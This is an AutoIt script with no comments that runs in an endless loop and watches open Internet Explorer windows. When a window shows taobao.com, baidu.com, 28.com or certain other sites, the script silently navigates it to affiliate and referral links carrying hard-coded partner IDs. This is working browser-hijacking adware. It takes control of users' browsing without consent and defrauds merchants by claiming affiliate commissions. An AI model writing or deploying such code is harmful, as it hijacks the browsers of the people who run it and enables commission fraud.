|
While 1
Sleep(400)
$oShell = ObjCreate('shell.application')
$oShellWindows = $oShell.windows
For $Window In $oShellWindows
If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
If $Window.locationurl='http://www.taobao.com/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://pindao.huoban.taobao.com/tms/channel/channelcode.htm?pid=mm_12447901_1946460_8927158&mode=86')
If $Window.locationurl='http://www.taobao.com/go/act/mmbd/pd011.php?pid=mm_15485148_2225907_8732132&w=mmp4ptest' or $Window.locationurl='http://www.baidu.com' Then $Window.navigate('http://pindao.huoban.taobao.com/tms/channel/channelcode.htm?pid=mm_12447901_1946460_8927158&mode=86')
If $Window.locationurl='http://search.gd118114.cn/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://www.4888.cc')
If $Window.locationurl='http://www.28.com/' or $Window.locationurl='http://28.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
If $Window.locationurl='http://tj.28.com/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
If $Window.locationurl='http://www.28.com/hot.htm' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
EndIf
Next
WEnd |
|